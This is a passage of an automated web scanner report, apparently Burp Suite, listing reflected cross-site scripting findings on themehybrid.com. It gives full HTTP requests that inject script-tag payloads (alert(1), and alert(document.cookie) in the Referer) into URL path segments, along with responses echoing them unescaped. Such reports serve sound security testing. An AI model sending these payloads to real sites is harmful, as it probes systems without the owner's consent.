GET /blog/wp-content/themes/fusion/librarya71bc"><script>alert(1)</script>e96dadf10f4/js/fusion.jquery.js HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d; __utmz=87023965.1295921862.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/53; __utma=87023965.1580775653.1295921862.1295921862.1295921862.1; __utmc=87023965; __utmb=87023965.1.10.1295921862
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:53:59 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:54:00 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10424
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-content/themes/fusion/librarya71bc\"><script>alert(1)</script>e96dadf10f4/js/fusion.jquery.js"/> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 689ab"><script>alert(1)</script>a0f3a1c2da4 was submitted in the REST URL parameter 6. This input was echoed as 689ab\"><script>alert(1)</script>a0f3a1c2da4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-content/themes/fusion/library/js689ab"><script>alert(1)</script>a0f3a1c2da4/fusion.jquery.js HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d; __utmz=87023965.1295921862.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/53; __utma=87023965.1580775653.1295921862.1295921862.1295921862.1; __utmc=87023965; __utmb=87023965.1.10.1295921862
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:54:34 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:54:35 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10424
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-content/themes/fusion/library/js689ab\"><script>alert(1)</script>a0f3a1c2da4/fusion.jquery.js"/> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6a78"><script>alert(1)</script>18edf7c2b84 was submitted in the REST URL parameter 7. This input was echoed as e6a78\"><script>alert(1)</script>18edf7c2b84 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-content/themes/fusion/library/js/fusion.jquery.jse6a78"><script>alert(1)</script>18edf7c2b84 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d; __utmz=87023965.1295921862.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/53; __utma=87023965.1580775653.1295921862.1295921862.1295921862.1; __utmc=87023965; __utmb=87023965.1.10.1295921862
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:55:10 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:55:11 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10424
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-content/themes/fusion/library/js/fusion.jquery.jse6a78\"><script>alert(1)</script>18edf7c2b84"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1ee8"><script>alert(1)</script>ad40290be13 was submitted in the REST URL parameter 1. This input was echoed as d1ee8\"><script>alert(1)</script>ad40290be13 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogd1ee8"><script>alert(1)</script>ad40290be13/wp-content/themes/fusion/style.css HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:50:29 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:50:30 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10388
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blogd1ee8\"><script>alert(1)</script>ad40290be13/wp-content/themes/fusion/style.css"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9113"><script>alert(1)</script>8e9a7fe5ccf was submitted in the REST URL parameter 2. This input was echoed as a9113\"><script>alert(1)</script>8e9a7fe5ccf in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-contenta9113"><script>alert(1)</script>8e9a7fe5ccf/themes/fusion/style.css HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:50:59 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:51:01 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10388
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-contenta9113\"><script>alert(1)</script>8e9a7fe5ccf/themes/fusion/style.css"/> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41f8a"><script>alert(1)</script>2831b1c5c4c was submitted in the REST URL parameter 3. This input was echoed as 41f8a\"><script>alert(1)</script>2831b1c5c4c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-content/themes41f8a"><script>alert(1)</script>2831b1c5c4c/fusion/style.css HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:51:31 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:51:32 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10388
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-content/themes41f8a\"><script>alert(1)</script>2831b1c5c4c/fusion/style.css"/> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 62a60"><script>alert(1)</script>f2f57b9d531 was submitted in the REST URL parameter 4. This input was echoed as 62a60\"><script>alert(1)</script>f2f57b9d531 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-content/themes/fusion62a60"><script>alert(1)</script>f2f57b9d531/style.css HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:52:01 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:52:03 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10388
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-content/themes/fusion62a60\"><script>alert(1)</script>f2f57b9d531/style.css"/> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4e509"><script>alert(1)</script>6e1baafeaf7 was submitted in the REST URL parameter 5. This input was echoed as 4e509\"><script>alert(1)</script>6e1baafeaf7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-content/themes/fusion/style.css4e509"><script>alert(1)</script>6e1baafeaf7 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:52:35 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:52:36 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10388
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-content/themes/fusion/style.css4e509\"><script>alert(1)</script>6e1baafeaf7"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb4ce"><script>alert(1)</script>0e6703dee9d was submitted in the REST URL parameter 1. This input was echoed as bb4ce\"><script>alert(1)</script>0e6703dee9d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blogbb4ce"><script>alert(1)</script>0e6703dee9d/wp-includes/js/jquery/jquery.js?ver=1.4.2 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:50:59 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:51:00 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10402
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blogbb4ce\"><script>alert(1)</script>0e6703dee9d/wp-includes/js/jquery/jquery.js?ver=1.4.2"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 26937"><script>alert(1)</script>623efd4c563 was submitted in the REST URL parameter 2. This input was echoed as 26937\"><script>alert(1)</script>623efd4c563 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-includes26937"><script>alert(1)</script>623efd4c563/js/jquery/jquery.js?ver=1.4.2 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:51:29 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:51:30 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10402
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-includes26937\"><script>alert(1)</script>623efd4c563/js/jquery/jquery.js?ver=1.4.2"/> ...[SNIP]...
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e37aa"><script>alert(1)</script>bfdee75891b was submitted in the REST URL parameter 3. This input was echoed as e37aa\"><script>alert(1)</script>bfdee75891b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-includes/jse37aa"><script>alert(1)</script>bfdee75891b/jquery/jquery.js?ver=1.4.2 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:52:00 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:52:01 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10402
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-includes/jse37aa\"><script>alert(1)</script>bfdee75891b/jquery/jquery.js?ver=1.4.2"/> ...[SNIP]...
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cf9dc"><script>alert(1)</script>2f7e1717085 was submitted in the REST URL parameter 4. This input was echoed as cf9dc\"><script>alert(1)</script>2f7e1717085 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-includes/js/jquerycf9dc"><script>alert(1)</script>2f7e1717085/jquery.js?ver=1.4.2 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:52:34 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:52:35 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10402
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-includes/js/jquerycf9dc\"><script>alert(1)</script>2f7e1717085/jquery.js?ver=1.4.2"/> ...[SNIP]...
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33098"><script>alert(1)</script>334e90016a7 was submitted in the REST URL parameter 5. This input was echoed as 33098\"><script>alert(1)</script>334e90016a7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/wp-includes/js/jquery/jquery.js33098"><script>alert(1)</script>334e90016a7?ver=1.4.2 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Referer: http://themehybrid.com/themes/shadow724f1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef58e6876aa Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:53:09 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:53:10 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10402
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/blog/wp-includes/js/jquery/jquery.js33098\"><script>alert(1)</script>334e90016a7?ver=1.4.2"/> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3efee"><script>alert(1)</script>a6bb477d363 was submitted in the REST URL parameter 1. This input was echoed as 3efee\"><script>alert(1)</script>a6bb477d363 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /favicon.ico3efee"><script>alert(1)</script>a6bb477d363 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d; __utmz=87023965.1295921862.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/53; __utma=87023965.1580775653.1295921862.1295921862.1295921862.1; __utmc=87023965; __utmb=87023965.1.10.1295921862
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:51:35 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:51:36 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10332
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/favicon.ico3efee\"><script>alert(1)</script>a6bb477d363"/> ...[SNIP]...
4.403. http://themehybrid.com/favicon.ico [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://themehybrid.com
Path:
/favicon.ico
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9a9e"><script>alert(1)</script>3a4d3743f82 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c9a9e\"><script>alert(1)</script>3a4d3743f82 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /favicon.ico?c9a9e"><script>alert(1)</script>3a4d3743f82=1 HTTP/1.1 Host: themehybrid.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=a6bd0f3ad3b5196fc368b021463f882d; __utmz=87023965.1295921862.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/53; __utma=87023965.1580775653.1295921862.1295921862.1295921862.1; __utmc=87023965; __utmb=87023965.1.10.1295921862
Response
HTTP/1.1 404 Not found Date: Tue, 25 Jan 2011 02:50:25 GMT Server: Apache/2.0.54 X-Powered-By: PHP/5.2.14 X-Pingback: http://themehybrid.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Last-Modified: Tue, 25 Jan 2011 02:50:26 GMT Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Content-Length: 10338
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr ...[SNIP]... <input type="hidden" name="redirect_to" value="/favicon.ico?c9a9e\"><script>alert(1)</script>3a4d3743f82=1"/> ...[SNIP]...
